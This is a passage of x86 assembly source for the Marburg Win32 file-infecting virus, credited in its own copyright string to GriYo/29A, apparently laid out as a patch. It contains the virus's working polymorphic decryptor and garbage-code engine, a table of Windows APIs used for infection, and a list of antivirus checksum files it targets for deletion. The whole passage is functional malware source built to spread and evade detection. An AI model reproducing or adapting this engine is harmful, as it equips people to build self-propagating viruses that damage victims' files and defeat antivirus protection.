+ ; ... + ; push reg_1 + ; ... + ; pop reg_index + ; ... + + call gen_pop_reg_1 + mov al,50h + or al,byte ptr [ebx+REG_MASK] + stosb + call gen_garbage + call gen_pop_index + ret + +gen_pop_index: ;Generate pop reg_index + garbage + + mov al,58h + or al,byte ptr [ebp+index_mask] + stosb + call gen_garbage + ret + +gen_pop_reg_1: ;Generate pop reg_1 + garbage + + call get_valid_reg + mov al,58h + or al,byte ptr [ebx+REG_MASK] + stosb + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + push ebx + call gen_garbage + pop ebx + + ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ret + +; +;Generate decryptor action: Fix pointer +; + +gen_fix_ptr: ;Get displacement + offset of code to decrypt + + lea eax,dword ptr [ebp+Mem_Base+mem_size] + add eax,dword ptr [ebp+ptr_disp] + sub eax,dword ptr [ebp+delta_call] + + ;Check direction + + test byte ptr [ebp+build_flags],CRYPT_DIRECTION + jz fix_dir_ok + + ;Direction is from top to bottom + + push eax + call fixed_size2ecx + xor eax,eax + mov al,byte ptr [ebp+oper_size] + push eax + mul ecx + pop ecx + sub eax,ecx + pop ecx + add eax,ecx +fix_dir_ok: push eax + + ;Fix using ADD or SUB + + call get_rnd32 + and al,01h + jz fix_with_sub + +fix_with_add: ;Generate ADD reg_index,fix_value + + mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + jmp short fix_done + +fix_with_sub: ;Generate SUB reg_index,-fix_value + + mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + +fix_done: stosd + ret + +; +;Generate decryptor action: Load counter +; + +gen_load_ctr: ;Easy now, just move counter random initial value + ;into counter reg and calc end_value + + mov al,0B8h + or al,byte ptr [ebp+counter_mask] + stosb + call fixed_size2ecx + call get_rnd32 + stosd + test byte ptr [ebp+build_flags],CRYPT_CDIR + jnz counter_down +counter_up: add eax,ecx + jmp short done_ctr_dir +counter_down: sub eax,ecx +done_ctr_dir: mov dword ptr [ebp+end_value],eax + ret + +; +;Generate decryptor action: Decrypt +; + +gen_decrypt: ;Check if we are going to use a displacement + + mov eax,dword ptr [ebp+ptr_disp] + or eax,eax + jnz more_complex + + ;Choose generator for [reg] indexing mode + + mov edx,offset tbl_idx_reg + call choose_magic + jmp you_got_it + +more_complex: ;More fun?!?! + + mov al,byte ptr [ebp+build_flags] + test al,CRYPT_SIMPLEX + jnz crypt_xtended + + ;Choose generator for [reg+imm] indexing mode + + mov edx,offset tbl_dis_reg + call choose_magic + +you_got_it: ;Use magic to convert some values into + ;desired instructions + + call size_correct + mov dl,byte ptr [ebp+index_mask] + lodsb + or al,al + jnz adn_reg_01 + cmp dl,00000101b + je adn_reg_02 +adn_reg_01: lodsb + or al,dl + stosb + jmp common_part +adn_reg_02: lodsb + add al,45h + xor ah,ah + stosw + jmp common_part + +crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp] + + test al,CRYPT_COMPLEX + jz ok_complex + + ;Get random displacement from current displacement + ;eeehh?!? + + mov eax,00000010h + call get_rnd_range + sub dword ptr [ebp+ptr_disp],eax + call load_aux + push ebx + call gen_garbage + + ;Choose generator for [reg+reg+imm] indexing mode + + mov edx,offset tbl_paranoia + call choose_magic + jmp short done_xtended + +ok_complex: mov eax,dword ptr [ebp+ptr_disp] + call load_aux + push ebx + call gen_garbage + + ;Choose generator for [reg+reg] indexing mode + + mov edx,offset tbl_xtended + call choose_magic + +done_xtended: ;Build decryptor instructions + + call size_correct + pop ebx + mov dl,byte ptr [ebp+index_mask] + lodsb + mov cl,al + or al,al + jnz arn_reg_01 + cmp dl,00000101b + jne arn_reg_01 + lodsb + add al,40h + stosb + jmp short arn_reg_02 +arn_reg_01: movsb +arn_reg_02: mov al,byte ptr [ebx+REG_MASK] + shl al,03h + or al,dl + stosb + or cl,cl + jnz arn_reg_03 + cmp dl,00000101b + jne arn_reg_03 + xor al,al + stosb + +arn_reg_03: ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + +common_part: ;Get post-build flags + + lodsb + + ;Insert displacement from real address? + + test al,MAGIC_PUTDISP + jz skip_disp + push eax + mov eax,dword ptr [ebp+ptr_disp] + neg eax + stosd + pop eax + +skip_disp: ;Insert key? + + test al,MAGIC_PUTKEY + jz skip_key + call copy_key + +skip_key: ;Generate reverse code + + call do_reverse + + ret + +; +;Choose a magic generator +; + +choose_magic: mov eax,00000006h + call get_rnd_range + add edx,ebp + lea esi,dword ptr [edx+eax*04h] + lodsd + add eax,ebp + mov esi,eax + ret + +; +;Do operand size correction +; + +size_correct: lodsb + mov ah,byte ptr [ebp+oper_size] + cmp ah,01h + je store_correct + inc al + cmp ah,04h + je store_correct + mov ah,66h + xchg ah,al + stosw + ret +store_correct: stosb + ret + +; +;Load aux reg with displacement +; + +load_aux: ;Get a valid auxiliary register + + push eax + call get_valid_reg + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ;Move displacement into aux reg + + mov al,0B8h + or al,byte ptr [ebx+REG_MASK] + stosb + pop eax + neg eax + stosd + ret + +; +;Generate crypt-code +; + +do_reverse: xor eax,eax + mov al,byte ptr [ebp+oper_size] + shr eax,01h + shl eax,02h + add esi,eax + lodsd + add eax,ebp + mov esi,eax + push edi + lea edi,dword ptr [ebp+perform_crypt] +loop_string: lodsb + cmp al,MAGIC_ENDSTR + je end_of_magic + cmp al,MAGIC_ENDKEY + je last_spell + xor ecx,ecx + mov cl,al + rep movsb + jmp short loop_string +last_spell: call copy_key +end_of_magic: mov al,0C3h + stosb + pop edi + ret + +; +;Copy encryption key into work buffer taking care about operand size +; + +copy_key: mov eax,dword ptr [ebp+crypt_key] + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] +loop_key: stosb + shr eax,08h + loop loop_key + ret + +; +;Generate decryptor action: Move index to next step +; + +gen_next_step: ;Get number of bytes to inc or dec the index reg + + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] + +loop_update: ;Get number of bytes to update with this instruction + + mov eax,ecx + call get_rnd_range + inc eax + + ;Check direction + + test byte ptr [ebp+build_flags],CRYPT_DIRECTION + jnz step_down + + call do_step_up + jmp short next_update + +step_down: call do_step_down + +next_update: sub ecx,eax + jecxz end_update + jmp short loop_update +end_update: ret + +do_step_up: ;Move index_reg up + + or eax,eax + jz up_with_inc + + ;Now choose ADD or SUB + + push eax + call get_rnd32 + and al,01h + jnz try_sub_1 + +try_add_1: mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + stosd + ret + +try_sub_1: mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + stosd + neg eax + ret + +up_with_inc: ;Generate INC reg_index + + mov al,40h + or al,byte ptr [ebp+index_mask] + stosb + mov eax,00000001h + ret + +do_step_down: ;Move index_reg down + + or eax,eax + jz down_with_dec + + ;Now choose ADD or SUB + + push eax + call get_rnd32 + and al,01h + jnz try_sub_2 + +try_add_2: mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + stosd + neg eax + ret + +try_sub_2: mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + stosd + ret + +down_with_dec: ;Generate DEC reg_index + + mov al,48h + or al,byte ptr [ebp+index_mask] + stosb + mov eax,00000001h + ret + +; +;Generate decryptor action: Next counter value +; + +gen_next_ctr: ;Check counter direction and update counter + ;using a INC or DEC instruction + + test byte ptr [ebp+build_flags],CRYPT_CDIR + jnz upd_ctr_down +upd_ctr_up: mov al,40h + or al,byte ptr [ebp+counter_mask] + jmp short upd_ctr_ok +upd_ctr_down: mov al,48h + or al,byte ptr [ebp+counter_mask] +upd_ctr_ok: stosb + ret + +; +;Generate decryptor action: Loop +; + +gen_loop: ;Use counter reg in CMP instruction? + + test byte ptr [ebp+build_flags],CRYPT_CMPCTR + jnz doloopauxreg + + ;Generate CMP counter_reg,end_value + + mov ax,0F881h + or ah,byte ptr [ebp+counter_mask] + stosw + mov eax,dword ptr [ebp+end_value] + stosd + + jmp doloopready + +doloopauxreg: ;Get a random valid register to use in a CMP instruction + + call get_valid_reg + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ;Move index reg value into aux reg + + mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [ebp+counter_mask] + or ah,0C0h + mov al,8Bh + stosw + + ;Guess what!? + + push ebx + call gen_garbage + pop ebx + + ;Generate CMP aux_reg,end_value + + mov ax,0F881h + or ah,byte ptr [ebx+REG_MASK] + stosw + mov eax,dword ptr [ebp+end_value] + stosd + + ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + +doloopready: ;Generate the following structure: + ; + ; loop_point: + ; ... + ; cmp reg,x + ; jne loop_point + ; ... + ; jmp virus + ; ... + + mov ax,850Fh + stosw + mov eax,dword ptr [ebp+loop_point] + sub eax,edi + sub eax,00000004h + stosd + ret + +; +;Generate some garbage code +; + +gen_garbage: ;More recursive levels allowed? + + inc byte ptr [ebp+recursive_level] + cmp byte ptr [ebp+recursive_level],03h + jae exit_gg + + ;Well, we can call this routine from lots of places + ;in the virus, so take care about direction flag + + cld + + ;Choose garbage generator + + mov eax,00000003h + call get_rnd_range + inc eax + mov ecx,eax +loop_garbage: push ecx + mov eax,(end_garbage-tbl_garbage)/04h + call get_rnd_range + lea esi,dword ptr [ebp+tbl_garbage+eax*04h] + lodsd + add eax,ebp + call eax + pop ecx + loop loop_garbage + + ;Update recursive level + +exit_gg: dec byte ptr [ebp+recursive_level] + ret + +; +;Generate MOV reg,imm +; + +g_movreg32imm: ;Generate MOV reg32,imm + + call get_valid_reg + mov al,0B8h + or al,byte ptr [ebx+REG_MASK] + stosb + call get_rnd32 + stosd + ret + +g_movreg16imm: ;Generate MOV reg16,imm + + call get_valid_reg + mov ax,0B866h + or ah,byte ptr [ebx+REG_MASK] + stosw + call get_rnd32 + stosw + ret + +g_movreg8imm: ;Generate MOV reg8,imm + + call get_valid_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movreg8imm + call get_rnd32 + mov al,0B0h + or al,byte ptr [ebx+REG_MASK] + push eax + call get_rnd32 + pop edx + and ax,0004h + or ax,dx + stosw +a_movreg8imm: ret + + +; +;Generate mov reg,reg +; + +g_movregreg32: call get_rnd_reg + push ebx + call get_valid_reg + pop edx + cmp ebx,edx + je a_movregreg32 +c_movregreg32: mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [edx+REG_MASK] + or ah,0C0h + mov al,8Bh + stosw +a_movregreg32: ret + +g_movregreg16: call get_rnd_reg + push ebx + call get_valid_reg + pop edx + cmp ebx,edx + je a_movregreg32 + mov al,66h + stosb + jmp short c_movregreg32 + +g_movregreg8: call get_rnd_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movregreg8 + push ebx + call get_valid_reg + pop edx + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movregreg8 + cmp ebx,edx + je a_movregreg8 + mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [edx+REG_MASK] + or ah,0C0h + mov al,8Ah + push eax + call get_rnd32 + pop edx + and ax,2400h + or ax,dx + stosw +a_movregreg8: ret + +; +;Generate MOVZX/MOVSX reg32,reg16 +; + +g_movzx_movsx: call get_rnd32 + mov ah,0B7h + and al,01h + jz d_movzx + mov ah,0BFh +d_movzx: mov al,0Fh + stosw + call get_rnd_reg + push ebx + call get_valid_reg + pop edx + mov al,byte ptr [ebx+REG_MASK] + shl al,03h + or al,0C0h + or al,byte ptr [edx+REG_MASK] + stosb + ret + +; +;Generate ADD/SUB/XOR/OR/AND reg,imm +; + +g_mathregimm32: mov al,81h + stosb + call get_valid_reg + call do_math_work + stosd + ret + +g_mathregimm16: mov ax,8166h + stosw + call get_valid_reg + call do_math_work + stosw + ret + +g_mathregimm8: call get_valid_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_math8 + mov al,80h + stosb + call do_math_work + stosb + and ah,04h + or byte ptr [edi-00000002h],ah +a_math8: ret + +do_math_work: mov eax,end_math_imm-tbl_math_imm + call get_rnd_range + lea esi,dword ptr [ebp+eax+tbl_math_imm] + lodsb + or al,byte ptr [ebx+REG_MASK] + stosb + call get_rnd32 + ret + +; +;Generate push reg + garbage + pop reg +; + +g_push_g_pop: ;Note that garbage generator can call itself in a + ;recursive way, so structures like the following + ;example can be produced + ; + ; push reg_1 + ; ... + ; push reg_2 + ; ... + ; pop reg_2 + ; ... + ; pop reg_1 + ; + + call get_rnd_reg + mov al,50h + or al,byte ptr [ebx+REG_MASK] + stosb + call gen_garbage + call get_valid_reg + mov al,58h + or al,byte ptr [ebx+REG_MASK] + stosb + ret + +; +;Generate unconditional jumps +; + +g_jump_u: mov al,0E9h + stosb + push edi + stosd + call gen_rnd_block + pop edx + mov eax,edi + sub eax,edx + sub eax,00000004h + mov dword ptr [edx],eax + ret + +; +;Generate conditional jumps +; + +g_jump_c: call get_rnd32 + and ah,0Fh + add ah,80h + mov al,0Fh + stosw + push edi + stosd + call gen_garbage + pop edx + mov eax,edi + sub eax,edx + sub eax,00000004h + mov dword ptr [edx],eax + ret + +; +;Generate one byte garbage code that does not change reg values +; + +gen_save_code: mov eax,end_save_code-tbl_save_code + call get_rnd_range + mov al,byte ptr [ebp+tbl_save_code+eax] + stosb + ret + +; +;Initialize register table +; + +init_poly: ;We can call this routine from lots of places, so + ;take care about direction flag + + cld + + ;Initialize random number generator + ;Use current day + hour as seed + + mov eax,dword ptr [ebp+time_day] + mov dword ptr [ebp+rnd32_seed],eax + + ;Initialize register table + + lea esi,dword ptr [ebp+tbl_startup] + lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS] + mov ecx,00000007h +loop_init_regs: movsb + inc edi + loop loop_init_regs + + ;Clear recursive level counter + + mov dword ptr [ebp+recursive_level],ecx + + ret + +; +;Get a ramdom reg +; + +get_rnd_reg: mov eax,00000007h + call get_rnd_range + lea ebx,dword ptr [ebp+tbl_regs+eax*02h] + ret + +; +;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX) +; + +get_valid_reg: call get_rnd_reg + mov al,byte ptr [ebx+REG_FLAGS] + and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY + jnz get_valid_reg + ret + +; +;Load ecx with crypt_size / oper_size +; + +fixed_size2ecx: mov eax,inf_size-DECRYPTOR_SIZE + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] + shr ecx,01h + or ecx,ecx + jz ok_2ecx + shr eax,cl + jnc ok_2ecx + inc eax +ok_2ecx: mov ecx,eax + ret + +; +;Generate a block of random data +; + +gen_rnd_block: ;Generate up to 27 random bytes + + mov eax,00000004h + mov ecx,eax + call get_rnd_range + add ecx,eax + cld + +rnd_fill_loop: ;Fill loop, get random dword + + call get_rnd32 + stosd + loop rnd_fill_loop + ret + +; +;Linear congruent pseudorandom number generator +; + +get_rnd32: push ecx + push edx + mov eax,dword ptr [ebp+rnd32_seed] + mov ecx,eax + imul eax,41C64E6Dh + add eax,00003039h + mov dword ptr [ebp+rnd32_seed],eax + xor eax,ecx + pop edx + pop ecx + ret + +; +;Returns a random num between 0 and entry eax +; + +get_rnd_range: push ecx + push edx + mov ecx,eax + call get_rnd32 + xor edx,edx + div ecx + mov eax,edx + pop edx + pop ecx + ret + +; + + ;Virus initialized data + + ;Copyright notice + + db "[ Marburg ViRuS BioCoded by GriYo/29A ]" + + ;Array of RVAs to function names + +viral_functions equ this byte + + dd offset szCreateFileA + dd offset szCreateFileMap + dd offset szMapViewOfFile + dd offset szUnmapView + dd offset szCloseHandle + dd offset szFindFirst + dd offset szFindNext + dd offset szFindClose + dd offset szVirtualAlloc + dd offset szGetWinDir + dd offset szGetSysDir + dd offset szGetCurDir + dd offset szSetFileAttr + dd offset szSetFileTime + dd offset szDeleteFile + dd offset szGetCurProc + dd offset szWriteProcMem + dd offset szLoadLibrary + dd offset szGetSysTime + +viral_tbl_end equ this byte + + ;Names of modules used by the virus + +szKernel32 db "KERNEL32.dll",00h +szUSER32 db "USER32.dll",00h + + ;Kernel32 APIs used by the virus + +szGetModuleH db "GetModuleHandleA",00h +szGetProcAddr db "GetProcAddress",00h +szCreateFileA db "CreateFileA",00h +szCreateFileMap db "CreateFileMappingA",00h +szMapViewOfFile db "MapViewOfFile",00h +szUnmapView db "UnmapViewOfFile",00h +szCloseHandle db "CloseHandle",00h +szFindFirst db "FindFirstFileA",00h +szFindNext db "FindNextFileA",00h +szFindClose db "FindClose",00h +szVirtualAlloc db "VirtualAlloc",00h +szGetWinDir db "GetWindowsDirectoryA",00h +szGetSysDir db "GetSystemDirectoryA",00h +szGetCurDir db "GetCurrentDirectoryA",00h +szSetFileAttr db "SetFileAttributesA",00h +szSetFileTime db "SetFileTime",00h +szDeleteFile db "DeleteFileA",00h +szGetCurProc db "GetCurrentProcess",00h +szWriteProcMem db "WriteProcessMemory",00h +szLoadLibrary db "LoadLibraryA",00h +szGetSysTime db "GetSystemTime",00h + + ;User32 APIs used by the virus + +szGetDC db "GetDC",00h +szLoadIcon db "LoadIconA",00h +szDrawIcon db "DrawIcon",00h + + ;Names of AV checksum files + +tbl_AV_files equ this byte + + dd offset szAvData_00 + dd offset szAvData_01 + dd offset szAvData_02 + dd offset szAvData_03 + +end_AV_files equ this byte + +szAvData_00 db "ANTI-VIR.DAT",00h +szAvData_01 db "CHKLIST.MS",00h +szAvData_02 db "AVP.CRC",00h +szAvData_03 db "IVB.NTZ",00h + + ;Search mask for FindFirstFile and FindNextFile + +szSearch db "*.*",00h + + ;Infection time + +inf_time equ this byte + +inf_year dw 0000h +inf_month dw 0000h +inf_dayofweek dw 0000h +inf_day dw 0000h +inf_hour dw 0000h +inf_minute dw 0000h +inf_second dw 0000h +inf_millisec dw 0000h + + ;Number of bytes to restore at host entry-point + +insert_size dd 00000000h + + ;Initialized data used by the polymorphic engine + + ;Register table + ; + ; - Register mask + ; - Register flags + +tbl_regs equ this byte + + db 00000000b,REG_READ_ONLY ;eax + db 00000011b,00h ;ebx + db 00000001b,00h ;ecx + db 00000010b,00h ;edx + db 00000110b,REG_NO_8BIT ;esi + db 00000111b,REG_NO_8BIT ;edi + db 00000101b,REG_NO_8BIT ;ebp + +end_regs equ this byte + + ;Aliases for reg table structure + +REG_MASK equ 00h +REG_FLAGS equ 01h + + ;Bit aliases for reg flags + +REG_IS_INDEX equ 01h +REG_IS_COUNTER equ 02h +REG_READ_ONLY equ 04h +REG_NO_8BIT equ 08h + + ;Initial reg flags + +tbl_startup equ this byte + + db REG_READ_ONLY ;eax + db 00h ;ebx + db 00h ;ecx + db 00h ;edx + db REG_NO_8BIT ;esi + db REG_NO_8BIT ;edi + db REG_NO_8BIT ;ebp + + ;Code that does not disturb reg values + +tbl_save_code equ this byte + + clc + stc + cmc + cld + std + +end_save_code equ this byte + + ;Generators for get_delta + +tbl_delta_mode equ this byte + + dd offset delta_method_1 + dd offset delta_method_2 + dd offset delta_method_3 + +end_delta_mode equ this byte + + ;Generators for [reg] indexing mode + +tbl_idx_reg equ this byte + + dd offset xx_inc_reg + dd offset xx_dec_reg + dd offset xx_not_reg + dd offset xx_add_reg + dd offset xx_sub_reg + dd offset xx_xor_reg + + ;Generators for [reg+imm] indexing mode + +tbl_dis_reg equ this byte + + dd offset yy_inc_reg + dd offset yy_dec_reg + dd offset yy_not_reg + dd offset yy_add_reg + dd offset yy_sub_reg + dd offset yy_xor_reg + + ;Generators for [reg+reg] indexing mode + +tbl_xtended equ this byte + + dd offset zz_inc_reg + dd offset zz_dec_reg + dd offset zz_not_reg + dd offset zz_add_reg + dd offset zz_sub_reg + dd offset zz_xor_reg + + ;Generators for [reg+reg+imm] indexing mode + +tbl_paranoia equ this byte + + dd offset ii_inc_reg + dd offset ii_dec_reg + dd offset ii_not_reg + dd offset ii_add_reg + dd offset ii_sub_reg + dd offset ii_xor_reg + + ;Opcodes for math reg,imm + +tbl_math_imm equ this byte + + db 0C0h ;add + db 0C8h ;or + db 0E0h ;and + db 0E8h ;sub + db 0F0h ;xor + db 0D0h ;adc + db 0D8h ;sbb + +end_math_imm equ this byte + + ;Magic aliases + +MAGIC_PUTKEY equ 01h +MAGIC_PUTDISP equ 02h +MAGIC_ENDSTR equ 0FFh +MAGIC_ENDKEY equ 0FEh +MAGIC_CAREEBP equ 00h +MAGIC_NOTEBP equ 0FFh + + ;Magic data + +xx_inc_reg db 0FEh + db MAGIC_CAREEBP + db 00h + db 00h + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +xx_dec_reg db 0FEh + db MAGIC_CAREEBP + db 08h + db 00h + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +xx_not_reg db 0F6h + db MAGIC_CAREEBP + db 10h + db 00h + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +xx_add_reg db 80h + db MAGIC_CAREEBP + db 00h + db MAGIC_PUTKEY + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +xx_sub_reg db 80h + db MAGIC_CAREEBP + db 28h + db MAGIC_PUTKEY + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +xx_xor_reg db 80h + db MAGIC_CAREEBP + db 30h + db MAGIC_PUTKEY + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +yy_inc_reg db 0FEh + db MAGIC_NOTEBP + db 80h + db MAGIC_PUTDISP + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +yy_dec_reg db 0FEh + db MAGIC_NOTEBP + db 88h + db MAGIC_PUTDISP + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +yy_not_reg db 0F6h + db MAGIC_NOTEBP + db 90h + db MAGIC_PUTDISP + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +yy_add_reg db 80h + db MAGIC_NOTEBP + db 80h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +yy_sub_reg db 80h + db MAGIC_NOTEBP + db 0A8h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +yy_xor_reg db 80h + db MAGIC_NOTEBP + db 0B0h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +zz_inc_reg db 0FEh + db MAGIC_CAREEBP + db 04h + db 00h + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +zz_dec_reg db 0FEh + db MAGIC_CAREEBP + db 0Ch + db 00h + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +zz_not_reg db 0F6h + db MAGIC_CAREEBP + db 14h + db 00h + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +zz_add_reg db 80h + db MAGIC_CAREEBP + db 04h + db MAGIC_PUTKEY + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +zz_sub_reg db 80h + db MAGIC_CAREEBP + db 2Ch + db MAGIC_PUTKEY + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +zz_xor_reg db 80h + db MAGIC_CAREEBP + db 34h + db MAGIC_PUTKEY + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +ii_inc_reg db 0FEh + db MAGIC_NOTEBP + db 84h + db MAGIC_PUTDISP + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +ii_dec_reg db 0FEh + db MAGIC_NOTEBP + db 8Ch + db MAGIC_PUTDISP + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +ii_not_reg db 0F6h + db MAGIC_NOTEBP + db 94h + db MAGIC_PUTDISP + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +ii_add_reg db 80h + db MAGIC_NOTEBP + db 84h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +ii_sub_reg db 80h + db MAGIC_NOTEBP + db 0ACh + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +ii_xor_reg db 80h + db MAGIC_NOTEBP + db 0B4h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + + ;Reverse-code strings + +x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR +x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR +x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR +x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR +x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR +x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR +x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR +x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR +x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR +x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY +x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY +x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY +x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY +x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY +x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY +x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY +x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY +x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY + + ;Decryptor styles + +tbl_styles equ this byte + + dd offset style_gen_1 + dd offset style_gen_2 + dd offset style_gen_3 + dd offset style_gen_4 + dd offset style_gen_5 + dd offset style_gen_6 + +end_styles equ this byte + +style_gen_1 dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_load_ctr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_2 dd offset gen_get_delta + dd offset gen_load_ctr + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_3 dd offset gen_load_ctr + dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_4 dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_load_ctr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + +style_gen_5 dd offset gen_get_delta + dd offset gen_load_ctr + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + +style_gen_6 dd offset gen_load_ctr + dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + + ;Garbage code generators + +tbl_garbage equ this byte + + dd offset gen_save_code ;clc stc cmc cld std + dd offset g_movreg32imm ;mov reg32,imm + dd offset g_movreg16imm ;mov reg16,imm + dd offset g_movreg8imm ;mov reg8,imm + dd offset g_movregreg32 ;mov reg32,reg32 + dd offset g_movregreg16 ;mov reg16,reg16 + dd offset g_movregreg8 ;mov reg8,reg8 + dd offset g_mathregimm32 ;math reg32,imm + dd offset g_mathregimm16 ;math reg16,imm + dd offset g_mathregimm8 ;math reg8,imm + dd offset g_push_g_pop ;push reg/garbage/pop reg + dd offset g_jump_u ;jump/rnd block + dd offset g_jump_c ;jump conditional/garbage + dd offset g_movzx_movsx ;movzx/movsx reg32,reg16 + +end_garbage equ this byte + + ;Original code at host entry point + +entry_code db BUFFER_EP dup (00h) + + ;Polymorphic procedures works with byte/word/dword + ;We let here a dword to avoid buffer overwrites + +safety_01 dd 00000000h + + ;Polymorphic decryptor buffer + +poly_decryptor db DECRYPTOR_SIZE dup (00h) + +inf_end equ this byte + +; + + ;Virus uninitialized data + +a_Kernel32 dd 00000000h +a_User32 dd 00000000h +a_GetModuleH dd 00000000h +a_GetProcAddr dd 00000000h + + ;API entry point for each viral function + +viral_addresses equ this byte + +a_CreateFile dd 00000000h +a_CreateFileMap dd 00000000h +a_MapViewOfFile dd 00000000h +a_UnmapView dd 00000000h +a_CloseHandle dd 00000000h +a_FindFirst dd 00000000h +a_FindNext dd 00000000h +a_FindClose dd 00000000h +a_VirtualAlloc dd 00000000h +a_GetWindowsDir dd 00000000h +a_GetSystemDir dd 00000000h +a_GetCurDir dd 00000000h +a_SetFileAttr dd 00000000h +a_SetFileTime dd 00000000h +a_DeleteFile dd 00000000h +a_GetCurProc dd 00000000h +a_WriteProcMem dd 00000000h +a_LoadLibrary dd 00000000h +a_GetSysTime dd 00000000h + + ;Misc variables + +CreateFile_h dd 00000000h +Mapping_h dd 00000000h +Search_h dd 00000000h +File_Attr dd 00000000h +search_raw dd 00000000h +original_size dd 00000000h +h_icon dd 00000000h +dc_screen dd 00000000h + + ;Data used by the polymorphic engine + +rnd32_seed dd 00000000h ;Seed for random number generator +ptr_disp dd 00000000h ;Displacement from index +end_value dd 00000000h 